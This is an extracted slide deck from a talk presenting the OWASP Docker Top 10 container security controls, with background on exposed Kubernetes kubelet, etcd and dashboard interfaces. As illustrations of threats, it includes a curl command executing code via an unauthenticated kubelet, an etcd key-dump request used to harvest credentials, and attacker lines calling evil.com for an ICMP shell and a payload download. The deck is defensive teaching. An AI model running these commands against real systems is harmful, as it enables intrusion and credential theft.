OWASP Docker / Container Top 10
Independent Consultant - Information Security
(self-employed)

**OWASP**
- Organized + chaired AppSec Europe 2013 in Hamburg
- Involved in few following European conferences
- ... and German matters

**Open Source**
- Longtime smaller contributions
- TLS-Checker testssl.sh

- 20+ years paid profession in infosec
- System, network + application security
- Pentests, consulting, training
- Information security management
Hyped + new?

- FreeBSD: *Jails* 2000
- Solaris: *Zones / Containers* 2004
- Linux: Docker 2013 (March)
Does docker leak sensitive data to the kernel of a host machine it runs on?

5:55 PM - 2 Oct 2018 from Burbank, CA
• Instead of FaaS (oder BaaS?):
  *Serverless computing*

Siemens Lufthaken? ;(-)
• @weldpond:
  *Full spectrum engineer*

Now a developer must become fluent in software testing, deployment, telemetry and even security. Developers will be responsible for securing their own work!

(heisedevsec 2017)
• Docker
  - Doesn’t solve any *application security* problems
  - It also doesn’t create those
  → But it creates / can create *system and network* attack surfaces
• Threats to my containers?

Enumerate!
● 1\textsuperscript{st} vector: Application escape

→ 2\textsuperscript{nd}: Host
• **1\textsuperscript{st} vector:** Application escape
  → **2\textsuperscript{nd}**: Network
  • Container
  • Host
  • NFS, LDAP
  • ... und
• **1\text{st} vector:** Application escape
  → **2\text{nd}: Network**
  • Orchestration
2\textsuperscript{nd}: Network / Orchestration

– Kubernetes: Insecure \texttt{kubelet} @ tcp/10250 (HTTPS) + 10255 (HTTP)

**Controlling access to the Kubelet**

Kubelets expose HTTPS endpoints which grant powerful control over the node and containers. By default, Kubelets allow unauthenticated access to this API.

Production clusters should enable Kubelet authentication and authorization.

- **Default still open?**
- **Fixes complete?**
  - https://github.com/kubernetes/kubernetes/issues/11816
  - https://github.com/kubernetes/kubernetes/pull/59666
# Lists systems


# Code EXEC

curl -sk https://$IP:10250/exec|run/<ns>/<pod>/<container>/ -d "cmd=ls /"
• 2\textsuperscript{nd}: **Network / Orchestration**
  
  – Kubernetes
    • sometimes not secured etcd @ tcp/2379
    • dashboard @ tcp/9090 (not installed per default)
"The hackers had infiltrated Tesla's Kubernetes console which was not password protected," RedLock researchers wrote. "Within one Kubernetes pod, access credentials were exposed to Tesla's AWS environment which contained an Amazon S3 (Amazon Simple Storage Service) bucket that had sensitive data such as telemetry."
2nd: Network / Orchestration
- CoreOS,
  - etcd @ tcp/2379

Authentication Guide

Overview

Authentication – having users and roles in etcd – was added in etcd 2.1. This guide will help you set up basic authentication in etcd.

etcd before 2.1 was a completely open system; anyone with access to the API could change keys. In order to preserve backward compatibility and upgradability, this feature is off by default.

For a full discussion of the RESTful API, see the authentication API documentation.

The security footgun in etcd

March 16, 2018

https://gcollazo.com/the-security-footgun-in-etc/
2nd: Network / Orchestration
- CoreOS,
- etcd @ tcp/2379

I did a simple search on shodan and came up with 2,284 etcd servers on the open internet. So I clicked a few and on the third try I saw what I was hoping not to see. CREDENTIALS, a lot of CREDENTIALS. Credentials for things like cms_admin, mysql_root, postgres, etc.

[..] I wrote a very simple script that basically called the etcd API and requested all keys. That’s basically equivalent to doing a database dump but over their very nice REST API.

GET http://<ip address>:2379/v2/keys/?recursive=true

This will return all the keys stored on the servers in JSON format. So my script basically went down the list and created a file for each IP (127-0-0-1.json) with the contents of etcd. I stopped the script at about 750 MB of data and 1,485 of the original IP list.

From: https://gcollazo.com/the-security-footgun-in-etcd/
• **Target: Orchestration tool**
  - Research:
    • Exposed orchestration tools (Lacework: [PDF])
    • Internet!

Open Management Interfaces and APIs

**CONTAINERS AT-RISK**
A Review of 21,000 Cloud Environments
High Level Findings

- **22,672 OPEN ADMIN DASHBOARDS DISCOVERED ON INTERNET**
- **95% HOSTED INSIDE OF AMAZON WEB SERVICES (AWS)**
- **55% HOSTED IN AN AWS REGION WITH THE US (US-EAST MOST POPULAR)**
- **> 300 OPEN ADMIN DASHBOARDS OPEN WITH NO CREDENTIALS**

Platforms Discovered

We discovered the following applications during our research:

- Kubernetes
- Mesos Marathon
- Swagger API UI
- Red Hat Openshift
- Docker Swarm:
  - Portainer
  - Swarpmit
• My dear neighbors

→ Other Containers
• Platform / Host

  – Think:
    • What’s wrong with my foundation??
• Integrity of images
  − Confidentiality?
Threat modeling

- Chances to mess up things considerably

Pictures: https://www.tagesschau.de/ausland/msc-zoe-113.html
OWASP Docker Top 10

https://www.owasp.org/index.php/OWASP_Docker_Top_10
- Rather security controls than risks
- Do’s vs. Dont’s
- home work + beyond
- https://github.com/OWASP/Docker-Security

- Simplified examples + syntax
  - Only docker cmdline / Dockerfile
  - No YAML, etc.
<table>
<thead>
<tr>
<th>Top #</th>
<th>Title</th>
</tr>
</thead>
<tbody>
<tr>
<td>D01</td>
<td>Secure User Mapping</td>
</tr>
<tr>
<td>D02</td>
<td>Patch Management Strategy</td>
</tr>
<tr>
<td>D03</td>
<td>Network Separation and Firewalling</td>
</tr>
<tr>
<td>D04</td>
<td>Secure Defaults and Hardening</td>
</tr>
<tr>
<td>D05</td>
<td>Maintain Security Contexts</td>
</tr>
<tr>
<td>D06</td>
<td>Protect Secrets</td>
</tr>
<tr>
<td>D07</td>
<td>Ressource Protection</td>
</tr>
<tr>
<td>D08</td>
<td>Container Image Integrity and Origin</td>
</tr>
<tr>
<td>D09</td>
<td>Follow Immutable Paradigm</td>
</tr>
<tr>
<td>D10</td>
<td>Logging</td>
</tr>
</tbody>
</table>
• **Top 1: Secure User Mapping**
  - Docker’s **insecure default!**
    • Running code as privileged user

```bash
FROM ubuntu
MAINTAINER [REDACTED]
RUN apt-get update
RUN apt-get install -y nginx
COPY index.html /usr/share/nginx/html/
ENTRYPOINT ["/usr/sbin/nginx","-g","daemon off;"]
EXPOSE 80
```
• **Top 1: Secure User Mapping**
  - ~ fix it: Running nginx as non-privileged user

```bash
FROM ubuntu
MAINTAINER [..] minion
RUN apt-get update
RUN apt-get install -y nginx
COPY index.html /usr/share/nginx/html/
  RUN adduser [..] minion
USER minion
ENTRYPOINT ["/usr/sbin/nginx","-g","daemon off;"]
EXPOSE 80:8080
```
• Top 1: Secure User Mapping (cont’d)
Top 1: Secure User Mapping (cont’d)

<table>
<thead>
<tr>
<th>UID</th>
<th>PID</th>
<th>PPID</th>
<th>C</th>
<th>PRI</th>
<th>STIME</th>
<th>TTY</th>
<th>TIME</th>
<th>CMD</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>5508</td>
<td>5491</td>
<td>3</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>12:41:34</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>20749</td>
<td>20731</td>
<td>0</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>02:08:34</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>23053</td>
<td>23036</td>
<td>1</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>04:43:48</td>
<td>java -Xmx512m -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>25264</td>
<td>25247</td>
<td>0</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>02:03:03</td>
<td>java -Xmx512m -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>26740</td>
<td>26712</td>
<td>0</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>01:54:23</td>
<td>java -Xmx512m -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>27841</td>
<td>27823</td>
<td>4</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>13:03:24</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>28187</td>
<td>28167</td>
<td>0</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>01:13:01</td>
<td>java -Xmx512m -jar -Dspring.profiles.active=prod-prod /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>29232</td>
<td>29213</td>
<td>0</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>02:27:11</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>30917</td>
<td>30898</td>
<td>0</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>01:56:59</td>
<td>java -Xmx1536m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>34542</td>
<td>34519</td>
<td>5</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>06:59:13</td>
<td>java -Xmx512m -jar /auth.war</td>
</tr>
<tr>
<td>root</td>
<td>50270</td>
<td>50194</td>
<td>4</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>15:15:31</td>
<td>java -Xmx512m -jar /auth.war</td>
</tr>
<tr>
<td>root</td>
<td>56683</td>
<td>56663</td>
<td>40</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>02:02:56:14</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>58309</td>
<td>58291</td>
<td>7</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>09:15:46</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>62418</td>
<td>62335</td>
<td>1</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>01:27:41</td>
<td>java -Xmx512m -jar /appnl.jar</td>
</tr>
<tr>
<td>root</td>
<td>62634</td>
<td>62611</td>
<td>0</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>00:53:55</td>
<td>java -Xmx512m -jar /appnl.jar</td>
</tr>
<tr>
<td>root</td>
<td>62963</td>
<td>62930</td>
<td>0</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>00:31:46</td>
<td>java -Xmx512m -jar -Dspring.profiles.active=prod /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>64175</td>
<td>64157</td>
<td>0</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>00:47:43</td>
<td>java -Xmx512m -jar /appnl.jar</td>
</tr>
<tr>
<td>root</td>
<td>65288</td>
<td>65267</td>
<td>0</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>01:03:07</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>65649</td>
<td>65626</td>
<td>0</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>00:52:27</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>66177</td>
<td>66158</td>
<td>0</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>01:04:33</td>
<td>java -Xmx1536m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>68013</td>
<td>67993</td>
<td>11</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>14:00:31</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
</tbody>
</table>
Top 1: Secure User Mapping (cont’d)

- Workaround: Remap *user namespaces*
  - `user_namespaces(7)`
  - [https://docs.docker.com/engine/security/userns-remap/#enable-usersns-remap-on-the-daemon](https://docs.docker.com/engine/security/userns-remap/#enable-usersns-remap-on-the-daemon)

- Nutshell:
  - Configure
    - mapping in /etc/subuid + /etc/subgid
    - `/etc/docker/daemon.json`
  - Start `dockerd` with `--usersns-remap <mapping>`

- Limits:
  - Global to `dockerd`
  - PID ns / net ns
Top 1: Secure User Mapping (cont’d)

- Never-ever as Root
  - Violation of Least Privilege Principle
    - Giving away benefit of „containment“
    - Escape from application => root in container

- No need to do this
  - Also not of low (<= 1024) ports
• Top 2: Patch Management Strategy
  - Host
  - Container Orchestration
  - Images
  - Container Software
• Top 2: Patch Management Strategy
  − Host
  • Kernel-Syscalls
  • Window for privilege escalation!

The following 6 packages require a system reboot:
  dbus-1 glibc kernel-default-4.12.14-lp151.22.9 kernel-firmware libopenssl1_0_0 libopenssl1_1

1516 packages to upgrade, 14 new, 1 to remove.
Overall download size: 1.97 GiB. Already cached: 0 B. After the operation, additional 394.5 MiB will be used.

Note: System reboot required.
Top 2: Patch Management Strategy

- Container Orchestration
  
  Don’t forget to patch the management as needed ;-)
<table>
<thead>
<tr>
<th>#</th>
<th>CVE ID</th>
<th>CWE ID</th>
<th># of Exploits</th>
<th>Vulnerability Type(s)</th>
<th>Publish Date</th>
<th>Update Date</th>
<th>Score</th>
<th>Access</th>
<th>Complexity</th>
<th>Authentication</th>
<th>Conf.</th>
<th>Integ.</th>
<th>Avail.</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>CVE-2018-1002105</td>
<td>388</td>
<td></td>
<td></td>
<td>2018-12-05</td>
<td>2018-12-25</td>
<td>7.5</td>
<td>None</td>
<td>Remote</td>
<td>Low</td>
<td>Not required</td>
<td>Partial</td>
<td>Partial</td>
</tr>
</tbody>
</table>

In all Kubernetes versions prior to v1.10.11, v1.11.5, and v1.12.3, incorrect handling of error responses to proxied upgrade requests in the kube-apiserver allowed specially crafted requests to establish a connection through the Kubernetes API server to backend servers, then send arbitrary requests over the same connection directly to the backend, authenticated with the Kubernetes API server’s TLS credentials used to establish the backend connection.

| 2  | CVE-2017-1002100 | 200   | +Info        |                       | 2017-09-14   | 2017-09-29  | 4.0   | None     | Remote     | Low            | Single system | Partial | None   | None   |

Default access permissions for Persistent Volumes (PVs) created by the Kubernetes Azure cloud provider in versions 1.6.0 to 1.6.5 are set to "container" which exposes a URI that can be accessed without authentication on the public internet. Access to the URI string requires privileged access to the Kubernetes cluster or authenticated access to the Azure portal.

| 3  | CVE-2017-1000056 | 264   |              |                       | 2017-07-17   | 2017-08-04  | 7.5   | None     | Remote     | Low            | Not required | Partial | Partial | Partial |

Kubernetes version 1.5.0-1.5.4 is vulnerable to a privilege escalation in the PodSecurityPolicy admission plugin resulting in the ability to make use of any existing PodSecurityPolicy object.

| 4  | CVE-2016-7075    | 295   | Bypass       |                       | 2018-09-10   | 2018-11-16  | 6.8   | None     | Remote     | Medium         | Not required | Partial | Partial | Partial |

It was found that Kubernetes as used by OpenShift Enterprise 3 did not correctly validate X.509 client intermediate certificate host name fields. An attacker could use this flaw to bypass authentication requirements by using a specially crafted X.509 certificate.

| 5  | CVE-2016-1906    | 264   | +Priv        |                       | 2016-02-03   | 2017-05-18  | 10.0  | None     | Remote     | Low            | Not required | Complete | Complete | Complete |

OpenShift allows remote attackers to gain privileges by updating a build configuration that was created with an allowed type to a type that is not allowed.

| 6  | CVE-2016-1905    | 264   |              |                       | 2016-02-03   | 2016-06-15  | 4.0   | None     | Remote     | Low            | Single system | None   | Partial | None   |

The API server in Kubernetes does not properly check admission control, which allows remote authenticated users to access additional resources via a crafted patched object.

| 7  | CVE-2015-7528    | 200   | +Info        |                       | 2016-04-11   | 2016-06-15  | 5.0   | None     | Remote     | Low            | Not required | Partial | None   | None   |

Kubernetes before 1.2.0-alpha.5 allows remote attackers to read arbitrary pod logs via a container name.
• Top 2: Patch Management Strategy
  – Mini-Distro Images
    • \( \Delta t_{\text{re-deployment}} > \Delta t_{\text{important patches}} \) ?
• Top 2: Patch Management Strategy
  – Docker / Container Software
    • dockerd, docker-containerd-shim
    • libs, ...
Top 2: Patch Management Strategy

- Need to have a process
  - Standard patches
  - Emergency

Keep the time slot for attackers as small as possible!
Top 3/10

- **Top 3: Network Separation & Firewalling**
  - Basic DMZ techniques
    - Internal
    - (External)

[Image Source: https://xkcd.com/2044/]
Top 3: Network Separation & Firewalling

- **Internal** (network policies)
- Depends on
  - Network driver
  - Configuration

1) Deny all
2) Allow only what’s needed
Top 3: Network Separation & Firewallsing

- **External** (to BBI)
  - Do not allow *initiating* outgoing TCP connections
  - UDP / ICMP: same

% `icmpsh -t evil.com`
% `wget http://evil.com/exploit_dl.sh`
Top 4: Secure Defaults and Hardening

- Three domains
  - Orchestration tool
  - Host
  - Container image hardening
    - External
    - (Internal)
• **Top 4: Secure Defaults and Hardening**
  
  - *Orchestration* tool’s management interfaces
    - Lock down
      - Network access
      - Interface with AuthN
Top 4: Secure Defaults and Hardening

- Services
  - Only SSH + NTP

- System
  - A standard Debian / Ubuntu ... is a standard Debian / Ubuntu
    - No useless junk
    - Custom hardening
  - Specialized container OS like CoreOS?
  - SELinux: some advantages
  - PaX / grsecurity
Top 4: Secure Defaults and Hardening

- Container
  - SUID (SGID)
    --security-opt=no-new-privileges
  - Linux Capabilities
    --cap-drop
  - Seccomp (chrome)
    --security-opt seccomp=yourprofile.json
Top 5:
Maintain Security Contexts
**Top 5: Maintain Security Contexts**

- No Mix Prod / Dev
- No Random Code (docker run <somearbitraryimage>)
- Do not mix
  - front end / back end services
- CaaS
  - Tenants
Top 6: Protect Secrets

- Where to: Keys, certificates, credentials, etc ???
  - Image ??
  - Env variables?
    - docker run -e SECRET=myprrecious image
    - docker run -env-file ./secretsfile.txt image
    - Kubernetes + YAML secrets: be careful

- Extra mounts (docker, also k8):
  - docker run -v /hostdir:/containerdir image
    - export S_FILE=./secretsfile.txt && <...> && rm $0

- Extra pod holding credentials (ENV) ???
  - Retrieve e.g. via kubectl and shell?
  - Yummy target for attacker too!
  - Combination with (exclusive!) host mount
• **Top 6: Protect Secrets**
  - Long living passwords are out!
  - Key / value stores:
    - Crypt
    - Vault
    - Keywhiz
• Top 7: Resource Protection
  - Resource Limits (cgroups)
    • --memory=
    • --memory- swap=

    • --cpu- *
        --cpu-shares=<percent>

  - Also: --pids-limit XX

→ docker-run(1)
Top 7: Resource Protection

- **Mounts!**
  - If not necessary: Don’t do it
  - If really necessary + possible: r/o
  - If r/w needed: limit writes (FS DoS)
• Top 8: Container Image Integrity and Origin

- Basic trust issue
  • Running arbitrary code from somewhere?
- Image pipeline
  • No writable shares
  • Proper: Privilege / ACL management
• **Top 8: Container Image Integrity and Origin**
  
  - Docker content trust

```
dirks@laptop:~|0% export DOCKER_CONTENT_TRUST=1
dirks@laptop:~|0% docker pull nginx
Using default tag: latest
Pull (1 of 1): nginx:latest@sha256:62a095e5da5f977b9f830adaf64d604c614024bf239d21068e4ca826d0d629a4
sha256:62a095e5da5f977b9f830adaf64d604c614024bf239d21068e4ca826d0d629a4: Pulling from library/nginx
683abb4ea60: Pull complete
a58abb4a7990: Pull complete
b43279c1d51c: Pull complete
Digest: sha256:62a095e5da5f977b9f830adaf64d604c614024bf239d21068e4ca826d0d629a4
Status: Downloaded newer image for nginx@sha256:62a095e5da5f977b9f830adaf64d604c614024bf239d21068e4ca826d0d629a4
Tagging nginx@sha256:62a095e5da5f977b9f830adaf64d604c614024bf239d21068e4ca826d0d629a4 as nginx:latest
```
```
dirks@laptop:~|0% docker pull drwetter/testssl.sh
Using default tag: latest
Error: remote trust data does not exist for docker.io/drwetter/testssl.sh: notary.docker.io does not have trust data for docker.io/drwetter/testssl.sh
```
```
dirks@laptop:~|1% []
```
• Top 8: Container Image Integrity and Origin
  – Docker content trust
  – https://docs.docker.com/notary/getting_started/
• **Top 9: Follow Immutable Paradigm**
  
  – Least Privilege
    - `docker run --read-only ...`
    - `docker run -v /hostdir:/containerdir:ro`
  
  – Attacker
    - `wget http://evil.com/exploit_dl.sh`
    - `apt-get install / apk add`
  
  – **Limits:** Container *really* needs to write
    - Upload of files
    - `r/w host mounts`
• **Top 10: Logging**
  - Tear down container: logs lost

  - **Remote logging**
    - Container
      - Application
    - Any system server in container (Web, Appl., DB, etc.)
    - (Container)
    - Orchestration
    - Host
      - Plus: Linux auditing (syscalls)

  - **Docker-run(1):**
    - `v /dev/log:/dev/log`
OWASP Docker Top 10

About Docker Top 10

The OWASP Docker Top 10 project is giving you ten bullet points to plan and implement a secure container environment. Those 10 points are ordered by relevance. They don’t represent risks as each single point is a security control. The controls range from baseline security to more advanced security requirements.

You should use it as a guidance in the design phase as a system specification or for auditing a docker environment.

Also for procurement it could provide a basis for specifying requirements in contracts.

FAQ

Why not “Container Security”

Albeit the name of this project carries the word “Docker”, it also can be used with little abstraction for other containment solutions. Docker is as of now the most popular one, so the in-depth details are focusing for now on Docker. This could change later.

A single container

If you run more than 3 containers on a server you probably have an orchestration solution to manage them. Specific security pitfalls of such a tool are currently beyond the scope of this document. That does not mean that this guide is just concerning one or a few containers managed manually -- on the contrary. It means only that we’re looking at the containers including their networking and their host systems in such an orchestrated environment and not on special pitfalls of e.g. Kubernetes, Swarm, Mesos or OpenShift.
Thank you!

Dr. Dirk Wetter

@drwetter
dirk@owasp.org
dirks@dowasp.eu

3957 C9AE ECE1 D0A7 4569
EE60 B905 3A4A 58F5 4F17

Everyone seemed to like this representation of DevOps and Security from my talk at #devopsdays Austin